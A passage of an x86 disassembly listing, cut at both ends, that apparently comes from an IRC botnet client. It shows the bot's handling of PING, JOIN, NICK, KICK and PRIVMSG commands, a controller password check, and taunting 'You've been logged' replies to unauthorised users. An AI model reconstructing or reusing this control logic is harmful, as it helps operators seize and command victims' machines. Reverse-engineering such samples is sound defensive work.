		mov	[ebp+arg_10], ebx
		jle	short loc_4098B2
		lea	edi, [ebp+var_A8C]


loc_409903:				; CODE XREF: sub_409802+166j
		push	1
		pop	esi


loc_409906:				; CODE XREF: sub_409802+145j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		lea	eax, [ebp+var_2BC]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40997B
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_409949
		push	7D0h
		call	dword_41A060	; Sleep
		jmp	short loc_409906
; ---------------------------------------------------------------------------


loc_409949:				; CODE XREF: sub_409802+138j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_409973
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40996F
		cmp	esi, 0FFFFFFFFh
		jz	loc_4098AB
		inc	[ebp+arg_10]
		add	edi, 4
		mov	eax, [ebp+arg_10]
		cmp	eax, [ebp+var_4]
		jl	short loc_409903
		jmp	loc_4098B2
; ---------------------------------------------------------------------------


loc_40996F:				; CODE XREF: sub_409802+14Fj
		push	1
		jmp	short loc_409975
; ---------------------------------------------------------------------------


loc_409973:				; CODE XREF: sub_409802+14Aj
		push	2


loc_409975:				; CODE XREF: sub_409802+16Fj
		pop	eax
		jmp	loc_4098AD
sub_409802	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40997B	proc near		; CODE XREF: sub_409802+12Bp

var_E60		= dword	ptr -0E60h
var_E50		= byte ptr -0E50h
var_C50		= byte ptr -0C50h
var_A50		= dword	ptr -0A50h
var_A4C		= byte ptr -0A4Ch
var_9CC		= byte ptr -9CCh
var_8CC		= byte ptr -8CCh
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= dword	ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= dword	ptr -7BCh
var_7B8		= dword	ptr -7B8h
var_7B4		= dword	ptr -7B4h
var_7B0		= dword	ptr -7B0h
var_7AC		= byte ptr -7ACh
var_72C		= byte ptr -72Ch
var_6CB		= byte ptr -6CBh
var_6CA		= byte ptr -6CAh
var_6C7		= byte ptr -6C7h
var_6C0		= byte ptr -6C0h
var_6BE		= byte ptr -6BEh
var_6BA		= byte ptr -6BAh
var_6B9		= byte ptr -6B9h
var_6B5		= byte ptr -6B5h
var_6B3		= byte ptr -6B3h
var_62C		= byte ptr -62Ch
var_610		= dword	ptr -610h
var_60C		= dword	ptr -60Ch
var_608		= dword	ptr -608h
var_604		= dword	ptr -604h
var_5F8		= byte ptr -5F8h
var_5DC		= byte ptr -5DCh
var_5BC		= dword	ptr -5BCh
var_5B8		= byte ptr -5B8h
var_5B0		= dword	ptr -5B0h
var_598		= byte ptr -598h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= byte ptr -578h
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2F0		= byte ptr -2F0h
var_284		= dword	ptr -284h
var_280		= byte ptr -280h
var_278		= dword	ptr -278h
var_274		= byte ptr -274h
var_270		= byte ptr -270h
var_230		= byte ptr -230h
var_220		= byte ptr -220h
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_1F8		= dword	ptr -1F8h
var_1F4		= byte ptr -1F4h
var_1F0		= byte ptr -1F0h
var_1E8		= byte ptr -1E8h
var_1A0		= byte ptr -1A0h
var_184		= byte ptr -184h
var_180		= byte ptr -180h
var_174		= byte ptr -174h
var_170		= byte ptr -170h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= byte ptr -0E4h
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E50h
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_578]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_40E800
		push	1Bh
		lea	eax, [ebp+var_62C]
		push	[ebp+arg_10]
		push	eax
		call	sub_410090
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_409D24
		push	esi
		lea	eax, [ebp+var_C50]
		push	ebx
		push	eax
		call	sub_40E800
		dec	esi
		lea	eax, [ebp+var_C50]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_C50]
		push	offset asc_421DC4 ; " :"
		push	eax
		call	sub_4102A0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C50]
		push	esi
		push	eax
		lea	eax, [ebp+var_E50]
		push	eax
		call	sub_410090
		mov	esi, offset dword_41F770
		lea	eax, [ebp+var_E50]
		push	esi
		push	eax
		call	sub_4103EB
		add	esp, 34h
		mov	[ebp+var_98], eax
		lea	edi, [ebp+var_94]
		mov	[ebp+var_18], 1Fh


loc_409A47:				; CODE XREF: sub_40997B+DDj
		push	esi
		push	ebx
		call	sub_4103EB
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_18]
		pop	ecx
		jnz	short loc_409A47
		mov	esi, [ebp+var_98]
		cmp	esi, ebx
		jz	loc_409D24
		cmp	[ebp+var_94], ebx
		jz	loc_409D24
		push	100h
		lea	eax, [ebp+var_72C]
		push	ebx
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	ecx, [ebp+var_1C]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_409A92:				; CODE XREF: sub_40997B+149j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_409ABE
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_409AC6
		cmp	[eax+2], bl
		jnz	short loc_409AC6
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_72C], 1
		mov	esi, [ebp+var_98]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_409ABE:				; CODE XREF: sub_40997B+11Bj
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_409A92


loc_409AC6:				; CODE XREF: sub_40997B+120j
					; sub_40997B+125j
		cmp	[ebp+var_6B9], bl
		jz	short loc_409AD1
		mov	[ebp+var_8], edi


loc_409AD1:				; CODE XREF: sub_40997B+151j
		cmp	[ebp+var_6BE], bl
		jz	short loc_409ADF
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_409ADF:				; CODE XREF: sub_40997B+15Cj
		cmp	byte ptr [esi],	0Ah
		jz	short loc_409B19
		push	7Fh
		lea	eax, [ebp+var_7AC]
		push	esi
		push	eax
		call	sub_410090
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_C4]
		push	offset asc_421DC0 ; "!"
		push	eax
		call	sub_4103EB
		add	esp, 20h


loc_409B19:				; CODE XREF: sub_40997B+167j
		push	esi
		push	offset aPing	; "PING"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409B5F
		push	[ebp+var_94]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 0Ch
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 10h
		jmp	loc_409C00
; ---------------------------------------------------------------------------


loc_409B5F:				; CODE XREF: sub_40997B+1ADj
		mov	esi, [ebp+var_94]
		push	esi
		push	offset a001	; "001"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAAA
		push	esi
		push	offset a005	; "005"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40DAAA
		push	esi
		push	offset a302	; "302"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409BC7
		push	offset a@	; "@"
		push	[ebp+var_8C]
		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409C00
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_410090
		jmp	short loc_409BFD
; ---------------------------------------------------------------------------


loc_409BC7:				; CODE XREF: sub_40997B+223j
		push	esi
		push	offset a433	; "433"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409C07
		push	ebx
		push	dword_41FBF8
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_40E17A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408486


loc_409BFD:				; CODE XREF: sub_40997B+24Aj
		add	esp, 0Ch


loc_409C00:				; CODE XREF: sub_40997B+1DFj
					; sub_40997B+239j ...
		mov	eax, edi
		jmp	loc_409D27
; ---------------------------------------------------------------------------


loc_409C07:				; CODE XREF: sub_40997B+25Bj
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_18], 3
		mov	edi, 80h


loc_409C16:				; CODE XREF: sub_40997B+2BDj
		lea	eax, [ebp+var_7AC]
		push	eax
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409C33
		mov	[ebp+var_A8], 1


loc_409C33:				; CODE XREF: sub_40997B+2ACj
		add	esi, edi
		dec	[ebp+var_18]
		jnz	short loc_409C16
		mov	esi, [ebp+var_94]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409D2C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_409C5F:				; CODE XREF: sub_40997B+374j
		cmp	[esi], bl
		jz	loc_409CEA
		push	7Fh
		lea	eax, [ebp+var_7AC]
		push	esi
		push	eax
		call	sub_410090
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_409CEA
		cmp	[ebp+var_8C], ebx
		jz	short loc_409CEA
		push	[ebp+var_8C]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CEA
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_421D44
		push	eax
		call	sub_40EE10
		add	esp, 0Ch
		lea	eax, [ebp+var_578]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		add	esp, 14h


loc_409CEA:				; CODE XREF: sub_40997B+2E6j
					; sub_40997B+306j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_409C5F
		push	[ebp+var_8C]
		push	[ebp+arg_10]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D24
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_409D19:				; CODE XREF: sub_40997B+5FAj
					; sub_40997B+903j
		push	[ebp+arg_4]


loc_409D1C:				; CODE XREF: sub_40997B+2F7Ej
		call	sub_408486


loc_409D21:				; CODE XREF: sub_40997B+3C03j
		add	esp, 10h


loc_409D24:				; CODE XREF: sub_40997B+57j
					; sub_40997B+E7j ...
		push	1


loc_409D26:				; CODE XREF: sub_40997B+3F3Aj
		pop	eax


loc_409D27:				; CODE XREF: sub_40997B+287j
					; sub_40997B+2AD6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409D2C:				; CODE XREF: sub_40997B+2D4j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409E82
		mov	eax, [ebp+var_90]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_409D55:				; CODE XREF: sub_40997B+42Cj
		lea	eax, [ebp+var_7AC]
		push	eax
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DA2
		lea	eax, [ebp+var_7AC]
		push	21h
		push	eax
		call	sub_410AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_C], eax
		jz	short loc_409DA2
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_40ED20
		push	[ebp+arg_C]
		push	edi
		call	sub_40ED30
		add	esp, 10h
		mov	edi, 80h


loc_409DA2:				; CODE XREF: sub_40997B+3EBj
					; sub_40997B+402j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_409D55
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_409D24
		cmp	[ebp+arg_24], ebx
		jz	loc_409D24
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DEA
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_410090
		add	esp, 0Ch
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_409DEA:				; CODE XREF: sub_40997B+458j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409DEF:				; CODE XREF: sub_40997B+495j
		cmp	[edi], bl
		jz	short loc_409E06
		lea	eax, [ebp+var_7AC]
		push	eax
		push	edi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409E17


loc_409E06:				; CODE XREF: sub_40997B+476j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409DEF
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_409E17:				; CODE XREF: sub_40997B+489j
		lea	eax, [ebp+var_7AC]
		push	21h
		push	eax
		call	sub_410AA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_409D24
		push	eax
		call	sub_40E730
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_40E730
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_409D24
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_2	; ":%s%s"
		push	esi
		call	sub_40EE10
		push	ebx
		lea	eax, [ebp+var_5DC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4084CC
		add	esp, 24h
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_409E82:				; CODE XREF: sub_40997B+3C0j
		push	esi
		push	offset aPart	; "PART"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409EA4
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409ECB


loc_409EA4:				; CODE XREF: sub_40997B+516j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409EA9:				; CODE XREF: sub_40997B+54Ej
		cmp	[edi], bl
		jz	short loc_409EBF
		push	[ebp+var_98]
		push	edi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409F19


loc_409EBF:				; CODE XREF: sub_40997B+530j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409EA9


loc_409ECB:				; CODE XREF: sub_40997B+527j
		push	[ebp+var_94]
		push	offset dword_421D18
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F7A
		push	[ebp+var_88]
		push	[ebp+arg_8]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409F02
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_409F02:				; CODE XREF: sub_40997B+57Cj
		push	[ebp+var_88]
		push	offset dword_421CEC


loc_409F0D:				; CODE XREF: sub_40997B+9E8j
					; sub_40997B+3CF3j
		call	sub_407AC2
		pop	ecx


loc_409F13:				; CODE XREF: sub_40997B+3B8Fj
		pop	ecx
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_409F19:				; CODE XREF: sub_40997B+542j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_578]
		push	offset dword_421CBC
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		push	[ebp+var_94]
		push	offset aPart	; "PART"
		call	sub_40FB80
		add	esp, 18h
		test	eax, eax
		jnz	loc_409D24
		lea	eax, [ebp+var_578]
		push	eax
		mov	eax, [ebp+var_98]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_409D19
; ---------------------------------------------------------------------------


loc_409F7A:				; CODE XREF: sub_40997B+564j
		push	[ebp+var_94]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_40FB80
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_409FCE
		push	[ebp+var_94]
		push	edi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409FCE
		push	[ebp+var_94]
		push	offset a332	; "332"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DAA2
		cmp	dword_41FBE4, ebx
		jz	loc_40DAA2


loc_409FCE:				; CODE XREF: sub_40997B+619j
					; sub_40997B+62Bj
		push	[ebp+var_94]
		push	esi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A103
		push	[ebp+var_94]
		push	edi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A103
		mov	eax, [ebp+var_8C]
		inc	[ebp+var_88]
		push	4
		mov	[ebp+var_90], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40A015:				; CODE XREF: sub_40997B+844j
					; sub_40997B+8D8j ...
		shl	esi, 2
		mov	ecx, [ebp+esi+var_98]
		lea	eax, [ebp+esi+var_98]
		lea	edi, [ecx+1]
		mov	[eax], edi
		mov	al, [ecx]
		cmp	al, byte_41FBF2
		mov	[ebp+var_18], edi
		jnz	loc_409D24
		push	edi
		push	offset dword_41A248
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A368
		mov	esi, [ebp+esi+var_94]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_409D24
		cmp	[ebp+var_A8], ebx
		jnz	loc_409D24
		push	offset asc_421DC0 ; "!"
		push	[ebp+var_98]
		call	sub_4103EB
		mov	esi, eax
		push	offset dword_424F04
		push	ebx
		inc	esi
		call	sub_4103EB
		push	offset asc_421CB4 ; "~"
		push	eax
		call	sub_4103EB
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_40FB80
		add	esp, 20h
		test	eax, eax
		jz	loc_40A283
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_421C34


loc_40A0EF:				; CODE XREF: sub_40997B+96Aj
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_40EE10
		add	esp, 10h
		jmp	loc_40DA33
; ---------------------------------------------------------------------------


loc_40A103:				; CODE XREF: sub_40997B+663j
					; sub_40997B+679j
		push	[ebp+var_94]
		push	edi
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A11C
		mov	[ebp+var_4], 1


loc_40A11C:				; CODE XREF: sub_40997B+798j
		cmp	[ebp+var_90], ebx
		jz	loc_409D24
		push	(offset	loc_41CB03+1)
		push	[ebp+var_90]
		call	sub_4102A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A143
		cmp	[ebp+var_4], ebx
		jz	short loc_40A14F


loc_40A143:				; CODE XREF: sub_40997B+7C1j
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_90], eax


loc_40A14F:				; CODE XREF: sub_40997B+7C6j
		cmp	[ebp+var_8C], ebx
		jz	loc_409D24
		inc	[ebp+var_8C]
		jz	short loc_40A19B
		cmp	[ebp+arg_10], ebx
		jz	short loc_40A19B
		lea	eax, [ebp+var_62C]
		push	eax
		call	sub_40E730
		push	eax
		lea	eax, [ebp+var_62C]
		push	[ebp+var_8C]
		push	eax
		call	sub_4105A0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40A1A1
; ---------------------------------------------------------------------------


loc_40A19B:				; CODE XREF: sub_40997B+7E6j
					; sub_40997B+7EBj
		mov	esi, [ebp+var_AC]


loc_40A1A1:				; CODE XREF: sub_40997B+81Ej
		mov	edi, [ebp+esi*4+var_98]
		cmp	edi, ebx
		jz	loc_409D24
		push	edi
		push	offset dword_421C28
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A015
		mov	ecx, [ebp+var_90]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40A244
		mov	eax, dword_4BA250
		mov	eax, off_41FCE4[eax*4]
		cmp	[eax], bl
		jz	short loc_40A244
		push	eax
		push	ecx
		push	offset dword_421C0C
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 10h
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_578]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_407A4E
		add	esp, 10h
		cmp	[ebp+var_A8], ebx
		jnz	loc_409D24
		push	ebx
		lea	eax, [ebp+var_578]
		push	1
		push	eax
		push	offset dword_4BA164
		push	[ebp+arg_4]


loc_40A237:				; CODE XREF: sub_40997B+3A9Bj
		call	sub_4084CC
		add	esp, 14h
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40A244:				; CODE XREF: sub_40997B+853j
					; sub_40997B+863j
		push	edi
		push	offset dword_421BE8
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A015
		mov	eax, [ebp+esi*4+var_94]
		cmp	eax, ebx
		jz	loc_40A015
		mov	ecx, [ebp+var_90]
		cmp	byte ptr [ecx],	23h
		jz	loc_40A015
		push	eax
		push	ecx
		push	offset dword_421BD0
		jmp	loc_409D19
; ---------------------------------------------------------------------------


loc_40A283:				; CODE XREF: sub_40997B+731j
		mov	[ebp+arg_24], offset off_41FCE0


loc_40A28A:				; CODE XREF: sub_40997B+92Bj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40E52F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A2EA
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_41FCE4
		jb	short loc_40A28A
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_408486
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_421B9C
		jmp	loc_40A0EF
; ---------------------------------------------------------------------------


loc_40A2EA:				; CODE XREF: sub_40997B+91Ej
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40A2EF:				; CODE XREF: sub_40997B+99Ej
		cmp	[ebp+arg_10], ebx
		jz	loc_409D24
		cmp	[edi], bl
		jnz	short loc_40A30F
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A320


loc_40A30F:				; CODE XREF: sub_40997B+97Fj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40A2EF
		jmp	loc_409D24
; ---------------------------------------------------------------------------


loc_40A320:				; CODE XREF: sub_40997B+992j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_7AC]
		push	7Fh
		push	eax
		push	esi
		call	sub_410090
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40A357
		push	ebx
		push	[ebp+var_4]
		push	offset unk_421B74
		push	[ebp+var_90]
		push	[ebp+arg_4]
		call	sub_4084CC
		add	esp, 14h


loc_40A357:				; CODE XREF: sub_40997B+9C0j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_421B44
		jmp	loc_409F0D
; ---------------------------------------------------------------------------


loc_40A368:				; CODE XREF: sub_40997B+6D0j
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40A38A
		push	[ebp+var_94]
		push	offset a332	; "332"
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40DAA2


loc_40A38A:				; CODE XREF: sub_40997B+9F3j
		cmp	[ebp+arg_28], ebx
		jnz	loc_40DAA2
		cmp	dword_41FD90, ebx
		mov	[ebp+arg_8], ebx
		jle	loc_40A53D
		mov	[ebp+arg_20], offset dword_42C558


loc_40A3A9:				; CODE XREF: sub_40997B+A50j
		push	edi
		push	[ebp+arg_20]
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A3D2
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		add	[ebp+arg_20], 0B8h
		cmp	eax, dword_41FD90
		jl	short loc_40A3A9
		jmp	loc_40A53D
; ---------------------------------------------------------------------------


loc_40A3D2:				; CODE XREF: sub_40997B+A3Bj
		push	offset asc_421DC4 ; " :"
		push	[ebp+arg_0]
		call	sub_4102A0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409D24
		mov	edi, [ebp+arg_8]
		mov	cl, byte_41FBF2
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_41FBF2
		mov	[eax+3], cl
		lea	ecx, dword_42C570[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_410090
		lea	eax, [ebp+esi+var_58]
		add	esp, 0Ch
		mov	[ebp+arg_8], 0Fh
		mov	[ebp+arg_20], eax


loc_40A42A:				; CODE XREF: sub_40997B+B57j
		push	[ebp+arg_8]
		lea	eax, [ebp+var_A4]
		push	offset dword_421B3C
		push	eax
		call	sub_40EE10
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4102A0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A496
		mov	eax, [ebp+arg_20]
		cmp	[eax], ebx
		jz	short loc_40A496
		lea	eax, dword_42C558[edi]
		push	eax
		call	sub_40E730
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40A4C8
		mov	eax, [ebp+arg_20]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
